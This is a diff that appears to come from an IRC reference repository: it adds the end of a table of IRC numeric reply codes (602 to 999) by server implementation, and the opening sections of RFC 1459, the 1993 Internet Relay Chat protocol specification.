+602  RPL_WATCHOFF              Bahamut, Unreal 
+603  RPL_WATCHSTAT             Bahamut, Unreal 
+604  RPL_NOWON                 Bahamut, Unreal 
+605  RPL_NOWOFF                Bahamut, Unreal 
+606  RPL_WATCHLIST             Bahamut, Unreal 
+607  RPL_ENDOFWATCHLIST        Bahamut, Unreal 
+608  RPL_WATCHCLEAR            Ultimate 
+609  RPL_NOWISAWAY             Unreal 
+610  RPL_MAPMORE               Unreal 
+610  RPL_ISOPER                Ultimate 
+611  RPL_ISLOCOP               Ultimate 
+612  RPL_ISNOTOPER             Ultimate 
+613  RPL_ENDOFISOPER           Ultimate 
+615  RPL_MAPMORE               PTlink 
+615  RPL_WHOISMODES            Ultimate 
+616  RPL_WHOISHOST             Ultimate 
+617  RPL_WHOISSSLFP            Nefarious 
+617  RPL_DCCSTATUS             Bahamut 
+617  RPL_WHOISBOT              Ultimate 
+618  RPL_DCCLIST               Bahamut 
+619  RPL_ENDOFDCCLIST          Bahamut 
+619  RPL_WHOWASHOST            Ultimate 
+620  RPL_DCCINFO               Bahamut 
+620  RPL_RULESSTART            Ultimate 
+621  RPL_RULES                 Ultimate 
+622  RPL_ENDOFRULES            Ultimate 
+623  RPL_MAPMORE               Ultimate 
+624  RPL_OMOTDSTART            Ultimate 
+625  RPL_OMOTD                 Ultimate 
+626  RPL_ENDOFOMOTD            Ultimate 
+630  RPL_SETTINGS              Ultimate 
+631  RPL_ENDOFSETTINGS         Ultimate 
+640  RPL_DUMPING               Unreal 
+641  RPL_DUMPRPL               Unreal 
+642  RPL_EODUMP                Unreal 
+650  RPL_SYNTAX                InspIRCd 3.0 
+651  RPL_CHANNELSMSG           InspIRCd 3.0 
+652  RPL_WHOWASIP              InspIRCd 3.0 
+653  RPL_UNINVITED             InspIRCd 3.0 
+659  RPL_SPAMCMDFWD            Unreal 
+670  RPL_STARTTLS              IRCv3 
+671  RPL_WHOISSECURE           Unreal 
+672  RPL_UNKNOWNMODES          Ithildin 
+672  RPL_WHOISREALIP           Rizon 
+673  RPL_CANNOTSETMODES        Ithildin 
+674  RPL_WHOISYOURID           ChatIRCd 
+690  ERR_REDIRECT              InspIRCd 
+691  ERR_STARTTLS              IRCv3 
+696  ERR_INVALIDMODEPARAM      InspIRCd 3.0 
+697  ERR_LISTMODEALREADYSET    InspIRCd 3.0 
+698  ERR_LISTMODENOTSET        InspIRCd 3.0 
+700  RPL_COMMANDS              InspIRCd 3.0 
+701  RPL_COMMANDSEND           InspIRCd 3.0 
+702  RPL_MODLIST               RatBox 
+702  RPL_COMMANDS              InspIRCd 2.0 
+703  RPL_ENDOFMODLIST          RatBox 
+703  RPL_COMMANDSEND           InspIRCd 2.0 
+704  RPL_HELPSTART             RatBox 
+705  RPL_HELPTXT               RatBox 
+706  RPL_ENDOFHELP             RatBox 
+707  ERR_TARGCHANGE            RatBox 
+708  RPL_ETRACEFULL            RatBox 
+709  RPL_ETRACE                RatBox 
+710  RPL_KNOCK                 RatBox 
+711  RPL_KNOCKDLVR             RatBox 
+712  ERR_TOOMANYKNOCK          RatBox 
+713  ERR_CHANOPEN              RatBox 
+714  ERR_KNOCKONCHAN           RatBox 
+715  ERR_KNOCKDISABLED         RatBox 
+715  ERR_TOOMANYINVITE         Hybrid 
+715  RPL_INVITETHROTTLE        Rizon 
+716  RPL_TARGUMODEG            RatBox 
+717  RPL_TARGNOTIFY            RatBox 
+718  RPL_UMODEGMSG             RatBox 
+720  RPL_OMOTDSTART            RatBox 
+721  RPL_OMOTD                 RatBox 
+722  RPL_ENDOFOMOTD            RatBox 
+723  ERR_NOPRIVS               RatBox 
+724  RPL_TESTMASK              RatBox 
+725  RPL_TESTLINE              RatBox 
+726  RPL_NOTESTLINE            RatBox 
+727  RPL_TESTMASKGECOS         RatBox 
+728  RPL_QUIETLIST             Charybdis 
+729  RPL_ENDOFQUIETLIST        Charybdis 
+730  RPL_MONONLINE             RatBox 
+731  RPL_MONOFFLINE            RatBox 
+732  RPL_MONLIST               RatBox 
+733  RPL_ENDOFMONLIST          RatBox 
+734  ERR_MONLISTFULL           RatBox 
+740  RPL_RSACHALLENGE2         RatBox 
+741  RPL_ENDOFRSACHALLENGE2    RatBox 
+742  ERR_MLOCKRESTRICTED       Charybdis 
+743  ERR_INVALIDBAN            Charybdis 
+744  ERR_TOPICLOCK             InspIRCd? 
+750  RPL_SCANMATCHED           RatBox 
+751  RPL_SCANUMODES            RatBox 
+759  RPL_ETRACEEND             irc2.11 
+760  RPL_WHOISKEYVALUE         IRCv3 
+761  RPL_KEYVALUE              IRCv3 
+762  RPL_METADATAEND           IRCv3 
+764  ERR_METADATALIMIT         IRCv3 
+765  ERR_TARGETINVALID         IRCv3 
+766  ERR_NOMATCHINGKEY         IRCv3 
+767  ERR_KEYINVALID            IRCv3 
+768  ERR_KEYNOTSET             IRCv3 
+769  ERR_KEYNOPERMISSION       IRCv3 
+771  RPL_XINFO                 Ithildin 
+773  RPL_XINFOSTART            Ithildin 
+774  RPL_XINFOEND              Ithildin 
+801  RPL_STATSCOUNTRY          InspIRCd 3.0 
+802  RPL_CHECK                 InspIRCd 3.0 
+803  RPL_OTHERUMODEIS          InspIRCd 3.0 
+804  RPL_OTHERSNOMASKIS        InspIRCd 3.0 
+900  RPL_LOGGEDIN              Charybdis/Atheme, IRCv3 
+901  RPL_LOGGEDOUT             Charybdis/Atheme, IRCv3 
+902  ERR_NICKLOCKED            Charybdis/Atheme, IRCv3 
+903  RPL_SASLSUCCESS           Charybdis/Atheme, IRCv3 
+904  ERR_SASLFAIL              Charybdis/Atheme, IRCv3 
+905  ERR_SASLTOOLONG           Charybdis/Atheme, IRCv3 
+906  ERR_SASLABORTED           Charybdis/Atheme, IRCv3 
+907  ERR_SASLALREADY           Charybdis/Atheme, IRCv3 
+908  RPL_SASLMECHS             Charybdis/Atheme, IRCv3 
+910  RPL_ACCESSLIST            InspIRCd 
+911  RPL_ENDOFACCESSLIST       InspIRCd 
+926  ERR_BADCHANNEL            InspIRCd 
+936  ERR_WORDFILTERED          InspIRCd 
+937  ERR_ALREADYCHANFILTERED   InspIRCd 2.0 
+938  ERR_NOSUCHCHANFILTER      InspIRCd 2.0 
+939  ERR_CHANFILTERFULL        InspIRCd 2.0 
+940  RPL_ENDOFSPAMFILTER       InspIRCd 
+941  RPL_SPAMFILTER            InspIRCd 
+942  ERR_INVALIDWATCHNICK      InspIRCd 
+944  RPL_IDLETIMESET           InspIRCd 
+945  RPL_NICKLOCKOFF           InspIRCd 
+946  ERR_NICKNOTLOCKED         InspIRCd 
+947  RPL_NICKLOCKON            InspIRCd 
+948  ERR_INVALIDIDLETIME       InspIRCd 
+950  RPL_UNSILENCED            InspIRCd 
+951  RPL_SILENCED              InspIRCd 
+952  ERR_SILENCE               InspIRCd 
+953  RPL_ENDOFEXEMPTIONLIST    InspIRCd 
+954  RPL_EXEMPTIONLIST         InspIRCd 
+960  RPL_ENDOFPROPLIST         InspIRCd 
+961  RPL_PROPLIST              InspIRCd 
+972  ERR_CANNOTDOCOMMAND       Unreal 
+972  ERR_CANTUNLOADMODULE      InspIRCd 
+973  RPL_UNLOADEDMODULE        InspIRCd 
+974  ERR_CANNOTCHANGECHANMODE  Unreal 
+974  ERR_CANTLOADMODULE        InspIRCd 
+975  RPL_LOADEDMODULE          InspIRCd 
+975  ERR_LASTERROR             Nefarious 
+988  RPL_SERVLOCKON            InspIRCd 
+989  RPL_SERVLOCKOFF           InspIRCd 
+990  RPL_DCCALLOWSTART         InspIRCd 
+991  RPL_DCCALLOWLIST          InspIRCd 
+992  RPL_DCCALLOWEND           InspIRCd 
+993  RPL_DCCALLOWTIMED         InspIRCd 
+994  RPL_DCCALLOWPERMANENT     InspIRCd 
+995  RPL_DCCALLOWREMOVED       InspIRCd 
+996  ERR_DCCALLOWINVALID       InspIRCd 
+997  RPL_DCCALLOWEXPIRED       InspIRCd 
+998  ERR_UNKNOWNDCCALLOWCMD    InspIRCd 
+998  RPL_DCCALLOWHELP          InspIRCd 
+999  RPL_ENDOFDCCALLOWHELP     InspIRCd 2.0 
+999  ERR_NUMERIC_ERR           Bahamut 
diff --git a/rfc/rfc1459.txt b/rfc/rfc1459.txt
new file mode 100644
index 0000000..09fbf34
--- /dev/null
+++ b/rfc/rfc1459.txt
@@ -0,0 +1,3643 @@
+
+
+
+
+
+
+Network Working Group                                      J. Oikarinen
+Request for Comments: 1459                                      D. Reed
+                                                               May 1993
+
+
+                      Internet Relay Chat Protocol
+
+Status of This Memo
+
+   This memo defines an Experimental Protocol for the Internet
+   community.  Discussion and suggestions for improvement are requested.
+   Please refer to the current edition of the "IAB Official Protocol
+   Standards" for the standardization state and status of this protocol.
+   Distribution of this memo is unlimited.
+
+Abstract
+
+   The IRC protocol was developed over the last 4 years since it was
+   first implemented as a means for users on a BBS to chat amongst
+   themselves.  Now it supports a world-wide network of servers and
+   clients, and is stringing to cope with growth. Over the past 2 years,
+   the average number of users connected to the main IRC network has
+   grown by a factor of 10.
+
+   The IRC protocol is a text-based protocol, with the simplest client
+   being any socket program capable of connecting to the server.
+
+Table of Contents
+
+   1.  INTRODUCTION ...............................................    4
+      1.1  Servers ................................................    4
+      1.2  Clients ................................................    5
+         1.2.1 Operators ..........................................    5
+      1.3 Channels ................................................    5
+      1.3.1  Channel Operators ....................................    6
+   2. THE IRC SPECIFICATION .......................................    7
+      2.1 Overview ................................................    7
+      2.2 Character codes .........................................    7
+      2.3 Messages ................................................    7
+         2.3.1  Message format in 'pseudo' BNF ....................    8
+      2.4 Numeric replies .........................................   10
+   3. IRC Concepts ................................................   10
+      3.1 One-to-one communication ................................   10
+      3.2 One-to-many .............................................   11
+         3.2.1 To a list ..........................................   11
+         3.2.2 To a group (channel) ...............................   11
+         3.2.3 To a host/server mask ..............................   12
+      3.3 One to all ..............................................   12
+
+
+
+Oikarinen & Reed                                                [Page 1]
+
+RFC 1459              Internet Relay Chat Protocol              May 1993
+
+
+         3.3.1 Client to Client ...................................   12
+         3.3.2 Clients to Server ..................................   12
+         3.3.3 Server to Server ...................................   12
+   4. MESSAGE DETAILS .............................................   13
+      4.1 Connection Registration .................................   13
+         4.1.1 Password message ...................................   14
+         4.1.2 Nickname message ...................................   14
+         4.1.3 User message .......................................   15
+         4.1.4 Server message .....................................   16
+         4.1.5 Operator message ...................................   17
+         4.1.6 Quit message .......................................   17
+         4.1.7 Server Quit message ................................   18
+      4.2 Channel operations ......................................   19
+         4.2.1 Join message .......................................   19
+         4.2.2 Part message .......................................   20
+         4.2.3 Mode message .......................................   21
+            4.2.3.1 Channel modes .................................   21
+            4.2.3.2 User modes ....................................   22
+         4.2.4 Topic message ......................................   23
+         4.2.5 Names message ......................................   24
+         4.2.6 List message .......................................   24
+         4.2.7 Invite message .....................................   25
+         4.2.8 Kick message .......................................   25
+      4.3 Server queries and commands .............................   26
+         4.3.1 Version message ....................................   26
+         4.3.2 Stats message ......................................   27
+         4.3.3 Links message ......................................   28
+         4.3.4 Time message .......................................   29
+         4.3.5 Connect message ....................................   29
+         4.3.6 Trace message ......................................   30
+         4.3.7 Admin message ......................................   31
+         4.3.8 Info message .......................................   31
+      4.4 Sending messages ........................................   32
+         4.4.1 Private messages ...................................   32
+         4.4.2 Notice messages ....................................   33
+      4.5 User-based queries ......................................   33
+         4.5.1 Who query ..........................................   33
+         4.5.2 Whois query ........................................   34
+         4.5.3 Whowas message .....................................   35
+      4.6 Miscellaneous messages ..................................   35
+         4.6.1 Kill message .......................................   36
+         4.6.2 Ping message .......................................   37
+         4.6.3 Pong message .......................................   37
+         4.6.4 Error message ......................................   38
+   5. OPTIONAL MESSAGES ...........................................   38
+      5.1 Away message ............................................   38
+      5.2 Rehash command ..........................................   39
+      5.3 Restart command .........................................   39
+
+
+
+Oikarinen & Reed                                                [Page 2]
+
+RFC 1459              Internet Relay Chat Protocol              May 1993
+
+
+      5.4 Summon message ..........................................   40
+      5.5 Users message ...........................................   40
+      5.6 Operwall command ........................................   41
+      5.7 Userhost message ........................................   42
+      5.8 Ison message ............................................   42
+   6. REPLIES .....................................................   43
+      6.1 Error Replies ...........................................   43
+      6.2 Command responses .......................................   48
+      6.3 Reserved numerics .......................................   56
+   7. Client and server authentication ............................   56
+   8. Current Implementations Details .............................   56
+      8.1 Network protocol: TCP ...................................   57
+         8.1.1 Support of Unix sockets ............................   57
+      8.2 Command Parsing .........................................   57
+      8.3 Message delivery ........................................   57
+      8.4 Connection 'Liveness' ...................................   58
+      8.5 Establishing a server-client connection .................   58
+      8.6 Establishing a server-server connection .................   58
+         8.6.1 State information exchange when connecting .........   59
+      8.7 Terminating server-client connections ...................   59
+      8.8 Terminating server-server connections ...................   59
+      8.9 Tracking nickname changes ...............................   60
+      8.10 Flood control of clients ...............................   60
+      8.11 Non-blocking lookups ...................................   61
+         8.11.1 Hostname (DNS) lookups ............................   61
+         8.11.2 Username (Ident) lookups ..........................   61
+      8.12 Configuration file .....................................   61
+         8.12.1 Allowing clients to connect .......................   62
+         8.12.2 Operators .........................................   62
+         8.12.3 Allowing servers to connect .......................   62
+         8.12.4 Administrivia .....................................   63
+      8.13 Channel membership .....................................   63
+   9. Current problems ............................................   63
+      9.1 Scalability .............................................   63
+      9.2 Labels ..................................................   63
+         9.2.1 Nicknames ..........................................   63
+         9.2.2 Channels ...........................................   64
+         9.2.3 Servers ............................................   64
+      9.3 Algorithms ..............................................   64
+   10. Support and availability ...................................   64
+   11. Security Considerations ....................................   65
+   12. Authors' Addresses .........................................   65
+
+
+
+
+
+
+
+
+
+Oikarinen & Reed                                                [Page 3]
+
+RFC 1459              Internet Relay Chat Protocol              May 1993
+
+
+1.  INTRODUCTION
+
+   The IRC (Internet Relay Chat) protocol has been designed over a
+   number of years for use with text based conferencing.  This document
+   describes the current IRC protocol.
+
+   The IRC protocol has been developed on systems using the TCP/IP
+   network protocol, although there is no requirement that this remain
+   the only sphere in which it operates.
+
+   IRC itself is a teleconferencing system, which (through the use of
+   the client-server model) is well-suited to running on many machines
+   in a distributed fashion.  A typical setup involves a single process
+   (the server) forming a central point for clients (or other servers)
+   to connect to, performing the required message delivery/multiplexing
+   and other functions.
+
+1.1 Servers
+
+   The server forms the backbone of IRC, providing a point to which
+   clients may connect to to talk to each other, and a point for other
+   servers to connect to, forming an IRC network.  The only network
+   configuration allowed for IRC servers is that of a spanning tree [see
+   Fig. 1] where each server acts as a central node for the rest of the
+   net it sees.
+
+
+                           [ Server 15 ]  [ Server 13 ] [ Server 14]
+                                 /                \         /
+                                /                  \       /
+        [ Server 11 ] ------ [ Server 1 ]       [ Server 12]
+                              /        \          /
+                             /          \        /
+                  [ Server 2 ]          [ Server 3 ]
+                    /       \                      \
+                   /         \                      \
+           [ Server 4 ]    [ Server 5 ]         [ Server 6 ]
+            /    |    \                           /
+           /     |     \                         /
+          /      |      \____                   /
+         /       |           \                 /
+ [ Server 7 ] [ Server 8 ] [ Server 9 ]   [ Server 10 ]
+
+                                  :
+                               [ etc. ]
+                                  :
+
+                 [ Fig. 1. Format of IRC server network ]
+
+
+
+Oikarinen & Reed                                                [Page 4]
+
+RFC 1459              Internet Relay Chat Protocol              May 1993
+
+
+1.2 Clients
+
+   A client is anything connecting to a server that is not another
+   server.  Each client is distinguished from other clients by a unique
+   nickname having a maximum length of nine (9) characters.  See the
+   protocol grammar rules for what may and may not be used in a
+   nickname.  In addition to the nickname, all servers must have the
+   following information about all clients: the real name of the host
+   that the client is running on, the username of the client on that
+   host, and the server to which the client is connected.
+
+1.2.1 Operators
+
+   To allow a reasonable amount of order to be kept within the IRC
+   network, a special class of clients (operators) is allowed to perform
+   general maintenance functions on the network.  Although the powers
+   granted to an operator can be considered as 'dangerous', they are
+   nonetheless required.  Operators should be able to perform basic
+   network tasks such as disconnecting and reconnecting servers as
+   needed to prevent long-term use of bad network routing.  In
+   recognition of this need, the protocol discussed herein provides for
+   operators only to be able to perform such functions.  See sections
+   4.1.7 (SQUIT) and 4.3.5 (CONNECT).
+
+   A more controversial power of operators is the ability  to  remove  a
+   user  from  the connected network by 'force', i.e. operators are able
+   to close the connection between any client and server.   The
+   justification for  this  is delicate since its abuse is both
+   destructive and annoying.  For further details on this type of
+   action, see section 4.6.1 (KILL).
+
+1.3 Channels
+
+   A channel is a named group of one or more clients which will all
+   receive messages addressed to that channel.  The channel is created
+   implicitly when the first client joins it, and the channel ceases to
+   exist when the last client leaves it.  While channel exists, any
+   client can reference the channel using the name of the channel.
+
+   Channels names are strings (beginning with a '&' or '#' character) of
+   length up to 200 characters.  Apart from the the requirement that the
+   first character being either '&' or '#'; the only restriction on a
+   channel name is that it may not contain any spaces (' '), a control G
+   (^G or ASCII 7), or a comma (',' which is used as a list item
+   separator by the protocol).
+
+   There are two types of channels allowed by this protocol.  One is a
+   distributed channel which is known to all the servers that are
+
+
+
+Oikarinen & Reed                                                [Page 5]
+
+RFC 1459              Internet Relay Chat Protocol              May 1993
+
+
+   connected to the network. These channels are marked by the first
+   character being a only clients on the server where it exists may join
+   it.  These are distinguished by a leading '&' character.  On top of
+   these two types, there are the various channel modes available to
+   alter the characteristics of individual channels.  See section 4.2.3
+   (MODE command) for more details on this.
+
+   To create a new channel or become part of an existing channel, a user
+   is required to JOIN the channel.  If the channel doesn't exist prior
+   to joining, the channel is created and the creating user becomes a
+   channel operator.  If the channel already exists, whether or not your
+   request to JOIN that channel is honoured depends on the current modes
+   of the channel. For example, if the channel is invite-only, (+i),
+   then you may only join if invited.  As part of the protocol, a user
+   may be a part of several channels at once, but a limit of ten (10)
+   channels is recommended as being ample for both experienced and
+   novice users.  See section 8.13 for more information on this.
+
+   If the IRC network becomes disjoint because of a split between two
+   servers, the channel on each side is only composed of those clients
+   which are connected to servers on the respective sides of the split,
+   possibly ceasing to exist on one side of the split.  When the split
+   is healed, the connecting servers announce to each other who they
+   think is in each channel and the mode of that channel.  If the
+   channel exists on both sides, the JOINs and MODEs are interpreted in
+   an inclusive manner so that both sides of the new connection will
+   agree about which clients are in the channel and what modes the
+   channel has.
+
+1.3.1 Channel Operators
+
+   The channel operator (also referred to as a "chop" or "chanop") on a
+   given channel is considered to 'own' that channel.  In recognition of
+   this status, channel operators are endowed with certain powers which
+   enable them to keep control and some sort of sanity in their channel.
+   As an owner of a channel, a channel operator is not required to have
+   reasons for their actions, although if their actions are generally
+   antisocial or otherwise abusive, it might be reasonable to ask an IRC
+   operator to intervene, or for the usersjust leave and go elsewhere
+   and form their own channel.
+
+   The commands which may only be used by channel operators are:
+
+        KICK    - Eject a client from the channel
+        MODE    - Change the channel's mode
+        INVITE  - Invite a client to an invite-only channel (mode +i)
+        TOPIC   - Change the channel topic in a mode +t channel
+
+
+
+
+Oikarinen & Reed                                                [Page 6]
+
+RFC 1459              Internet Relay Chat Protocol              May 1993
+
+
+   A channel operator is identified by the '@' symbol next to their
+   nickname whenever it is associated with a channel (ie replies to the
+   NAMES, WHO and WHOIS commands).
+
+2. The IRC Specification
+
+2.1 Overview
+
+   The protocol as described herein is for use both with server to
+   server and client to server connections.  There are, however, more
+   restrictions on client connections (which are considered to be
+   untrustworthy) than on server connections.
+
+2.2 Character codes
+
+   No specific character set is specified. The protocol is based on a a
+   set of codes which are composed of eight (8) bits, making up an
+   octet.  Each message may be composed of any number of these octets;
+   however, some octet values are used for control codes which act as
+   message delimiters.
+
+   Regardless of being an 8-bit protocol, the delimiters and keywords
+   are such that protocol is mostly usable from USASCII terminal and a
+   telnet connection.
+
+   Because of IRC's scandanavian origin, the characters {}| are
+   considered to be the lower case equivalents of the characters []\,
+   respectively. This is a critical issue when determining the
+   equivalence of two nicknames.
+
+2.3 Messages
+
+   Servers and clients send eachother messages which may or may not
+   generate a reply.  If the message contains a valid command, as
+   described in later sections, the client should expect a reply as
+   specified but it is not advised to wait forever for the reply; client
+   to server and server to server communication is essentially
+   asynchronous in nature.
+
+   Each IRC message may consist of up to three main parts: the prefix
+   (optional), the command, and the command parameters (of which there
+   may be up to 15).  The prefix, command, and all parameters are
+   separated by one (or more) ASCII space character(s) (0x20).
+
+   The presence of a prefix is indicated with a single leading ASCII
+   colon character (':', 0x3b), which must be the first character of the
+   message itself.  There must be no gap (whitespace) between the colon
+   and the prefix.  The prefix is used by servers to indicate the true
+
+
+
+Oikarinen & Reed                                                [Page 7]
+
+RFC 1459              Internet Relay Chat Protocol              May 1993
+
+
+   origin of the message.  If the prefix is missing from the message, it
+   is assumed to have originated from the connection from which it was
+   received.  Clients should not use prefix when sending a message from
+   themselves; if they use a prefix, the only valid prefix is the
+   registered nickname associated with the client.  If the source
+   identified by the prefix cannot be found from the server's internal
+   database, or if the source is registered from a different link than
+   from which the message arrived, the server must ignore the message
+   silently.
+
+   The command must either be a valid IRC command or a three (3) digit
+   number represented in ASCII text.
+
+   IRC messages are always lines of characters terminated with a CR-LF
+   (Carriage Return - Line Feed) pair, and these messages shall not
+   exceed 512 characters in length, counting all characters including
+   the trailing CR-LF. Thus, there are 510 characters maximum allowed
+   for the command and its parameters.  There is no provision for
+   continuation message lines.  See section 7 for more details about
+   current implementations.
+
+2.3.1 Message format in 'pseudo' BNF
+
+   The protocol messages must be extracted from the contiguous stream of
+   octets.  The current solution is to designate two characters, CR and
+   LF, as message separators.   Empty  messages  are  silently  ignored,
+   which permits  use  of  the  sequence  CR-LF  between  messages
+   without extra problems.
+
+   The extracted message is parsed into the components <prefix>,
+   <command> and list of parameters matched either by <middle> or
+   <trailing> components.
+
+   The BNF representation for this is:
+
+
+<message>  ::= [':' <prefix> <SPACE> ] <command> <params> <crlf>
+<prefix>   ::= <servername> | <nick> [ '!' <user> ] [ '@' <host> ]
+<command>  ::= <letter> { <letter> } | <number> <number> <number>
+<SPACE>    ::= ' ' { ' ' }
+<params>   ::= <SPACE> [ ':' <trailing> | <middle> <params> ]
+
+<middle>   ::= <Any *non-empty* sequence of octets not including SPACE
+               or NUL or CR or LF, the first of which may not be ':'>
+<trailing> ::= <Any, possibly *empty*, sequence of octets not including
+                 NUL or CR or LF>
+
+<crlf>     ::= CR LF
+
+
+
+Oikarinen & Reed                                                [Page 8]
+
+RFC 1459              Internet Relay Chat Protocol              May 1993
+
+
+NOTES:
+
+  1)    <SPACE> is consists only of SPACE character(s) (0x20).
+        Specially notice that TABULATION, and all other control
+        characters are considered NON-WHITE-SPACE.
+
+  2)    After extracting the parameter list, all parameters are equal,
+        whether matched by <middle> or <trailing>. <Trailing> is just
+        a syntactic trick to allow SPACE within parameter.
+
+  3)    The fact that CR and LF cannot appear in parameter strings is
+        just artifact of the message framing. This might change later.
+
+  4)    The NUL character is not special in message framing, and
+        basically could end up inside a parameter, but as it would
+        cause extra complexities in normal C string handling. Therefore
+        NUL is not allowed within messages.
+
+  5)    The last parameter may be an empty string.
+
+  6)    Use of the extended prefix (['!' <user> ] ['@' <host> ]) must
+        not be used in server to server communications and is only
+        intended for server to client messages in order to provide
+        clients with more useful information about who a message is
+        from without the need for additional queries.
+
+   Most protocol messages specify additional semantics and syntax for
+   the extracted parameter strings dictated by their position in the
+   list.  For example, many server commands will assume that the first
+   parameter after the command is the list of targets, which can be
+   described with:
+
+   <target>     ::= <to> [ "," <target> ]
+   <to>         ::= <channel> | <user> '@' <servername> | <nick> | <mask>
+   <channel>    ::= ('#' | '&') <chstring>
+   <servername> ::= <host>
+   <host>       ::= see RFC 952 [DNS:4] for details on allowed hostnames
+   <nick>       ::= <letter> { <letter> | <number> | <special> }
+   <mask>       ::= ('#' | '$') <chstring>
+   <chstring>   ::= <any 8bit code except SPACE, BELL, NUL, CR, LF and
+                     comma (',')>
+
+   Other parameter syntaxes are:
+
+   <user>       ::= <nonwhite> { <nonwhite> }
+   <letter>     ::= 'a' ... 'z' | 'A' ... 'Z'
+   <number>     ::= '0' ... '9'
+   <special>    ::= '-' | '[' | ']' | '\' | '`' | '^' | '{' | '}'
+
+
+
+Oikarinen & Reed                                                [Page 9]
+
+RFC 1459              Internet Relay Chat Protocol              May 1993
+
+
+   <nonwhite>   ::= <any 8bit code except SPACE (0x20), NUL (0x0), CR
+                     (0xd), and LF (0xa)>
+
+2.4 Numeric replies
+
+   Most of the messages sent to the server generate a reply of some
+   sort.  The most common reply is the numeric reply, used for both
+   errors and normal replies.  The numeric reply must be sent as one
+   message consisting of the sender prefix, the three digit numeric, and
+   the target of the reply.  A numeric reply is not allowed to originate
+   from a client; any such messages received by a server are silently
+   dropped. In all other respects, a numeric reply is just like a normal
+   message, except that the keyword is made up of 3 numeric digits
+   rather than a string of letters.  A list of different replies is
+   supplied in section 6.
+
+3. IRC Concepts.
+
+   This section is devoted to describing the actual concepts behind  the
+   organization  of  the  IRC  protocol and how the current
+   implementations deliver different classes of messages.
+
+
+
+                          1--\
+                              A        D---4
+                          2--/ \      /
+                                B----C
+                               /      \
+                              3        E
+
+   Servers: A, B, C, D, E         Clients: 1, 2, 3, 4
+
+                    [ Fig. 2. Sample small IRC network ]
+
+3.1 One-to-one communication
+
+   Communication on a one-to-one basis is usually only performed by
+   clients, since most server-server traffic is not a result of servers
+   talking only to each other.  To provide a secure means for clients to
+   talk to each other, it is required that all servers be able to send a
+   message in exactly one direction along the spanning tree in order to
+   reach any client.  The path of a message being delivered is the
+   shortest path between any two points on the spanning tree.
+
+   The following examples all refer to Figure 2 above.
+
+
+
+
+
+Oikarinen & Reed                                               [Page 10]
+
+RFC 1459              Internet Relay Chat Protocol              May 1993
+
+
+Example 1:
+     A message between clients 1 and 2 is only seen by server A, which
+     sends it straight to client 2.
+
+Example 2:
+     A message between clients 1 and 3 is seen by servers A & B, and
+     client 3.  No other clients or servers are allowed see the message.
+
+Example 3:
+     A message between clients 2 and 4 is seen by servers A, B, C & D
+     and client 4 only.
+
+3.2 One-to-many
+
+   The main goal of IRC is to provide a  forum  which  allows  easy  and
+   efficient  conferencing (one to many conversations).  IRC offers
+   several means to achieve this, each serving its own purpose.
+
+3.2.1 To a list
+
+   The least efficient style of one-to-many conversation is through
+   clients talking to a 'list' of users.  How this is done is almost
+   self explanatory: the client gives a list of destinations to which
+   the message is to be delivered and the server breaks it up and
+   dispatches a separate copy of the message to each given destination.
+   This isn't as efficient as using a group since the destination list
+   is broken up and the dispatch sent without checking to make sure
+   duplicates aren't sent down each path.
+
+3.2.2 To a group (channel)
+
+   In IRC the channel has a role equivalent to that of the multicast
+   group; their existence is dynamic (coming and going as people join
+   and leave channels) and the actual conversation carried out on a
+   channel is only sent to servers which are supporting users on a given
+   channel.  If there are multiple users on a server in the same
+   channel, the message text is sent only once to that server and then
+   sent to each client on the channel.  This action is then repeated for
+   each client-server combination until the original message has fanned
+   out and reached each member of the channel.
+
+   The following examples all refer to Figure 2.
+
+Example 4:
+     Any channel with 1 client in it. Messages to the channel go to the
+     server and then nowhere else.
+
+
+
+
+
+Oikarinen & Reed                                               [Page 11]
+
+RFC 1459              Internet Relay Chat Protocol              May 1993
+
+
+Example 5:
+     2 clients in a channel. All messages traverse a path as if they
+     were private messages between the two clients outside a channel.
+
+Example 6:
+     Clients 1, 2 and 3 in a channel.  All messages to the channel are
+     sent to all clients and only those servers which must be traversed
+     by the message if it were a private message to a single client.  If
+     client 1 sends a message, it goes back to client 2 and then via
+     server B to client 3.
+
+3.2.3 To a host/server mask
+
+   To provide IRC operators with some mechanism to send  messages  to  a
+   large body of related users, host and server mask messages are
+   provided.  These messages are sent to users whose host or server
+   information  match that  of  the mask.  The messages are only sent to
+   locations where users are, in a fashion similar to that of channels.
+
+3.3 One-to-all
+
+   The one-to-all type of message is better described as a broadcast
+   message, sent to all clients or servers or both.  On a large network
+   of users and servers, a single message can result in a lot of traffic
+   being sent over the network in an effort to reach all of the desired
+   destinations.
+
+   For some messages, there is no option but to broadcast it to all
+   servers so that the state information held by each server is
+   reasonably consistent between servers.
+
+3.3.1 Client-to-Client
+
+   There is no class of message which, from a single message, results in
+   a message being sent to every other client.
+
+3.3.2 Client-to-Server
+
+   Most of the commands which result in a change of state information
+   (such as channel membership, channel mode, user status, etc) must be
+   sent to all servers by default, and this distribution may not be
+   changed by the client.
+
+3.3.3 Server-to-Server.
+
+   While most messages between servers are distributed to all 'other'
+   servers, this is only required for any message that affects either a
+   user, channel or server.  Since these are the basic items found in
+
+
+
+Oikarinen & Reed                                               [Page 12]
+
+RFC 1459              Internet Relay Chat Protocol              May 1993
+
+
+   IRC, nearly all messages originating from a server are broadcast to
+   all other connected servers.
+
+4. Message details
+
+   On the following pages are descriptions of each message recognized by
+   the IRC server and client.  All commands described in this section
+   must be implemented by any server for this protocol.
+
+   Where the reply ERR_NOSUCHSERVER is listed, it means that the
+   <server> parameter could not be found.  The server must not send any
+   other replies after this for that command.
+
+   The server to which a client is connected is required to parse the
+   complete message, returning any appropriate errors.  If the server
+   encounters a fatal error while parsing a message, an error must be
+   sent back to the client and the parsing terminated.  A fatal error
+   may be considered to be incorrect command, a destination which is
+   otherwise unknown to the server (server, nick or channel names fit
+   this category), not enough parameters or incorrect privileges.
+
+   If a full set of parameters is presented, then each must be checked
+   for validity and appropriate responses sent back to the client.  In
+   the case of messages which use parameter lists using the comma as an
+   item separator, a reply must be sent for each item.
+
+   In the examples below, some messages appear using the full format:
+
+   :Name COMMAND parameter list
+
+   Such examples represent a message from "Name" in transit between
+   servers, where it is essential to include the name of the original
+   sender of the message so remote servers may send back a reply along
+   the correct path.
+
+4.1 Connection Registration
+
+   The commands described here are used to register a connection with an
+   IRC server as either a user or a server as well as correctly
+   disconnect.
+
+   A "PASS" command is not required for either client or server
+   connection to be registered, but it must precede the server message
+   or the latter of the NICK/USER combination.  It is strongly
+   recommended that all server connections have a password in order to
+   give some level of security to the actual connections.  The
+   recommended order for a client to register is as follows:
+
+
+
+
+Oikarinen & Reed                                               [Page 13]
+
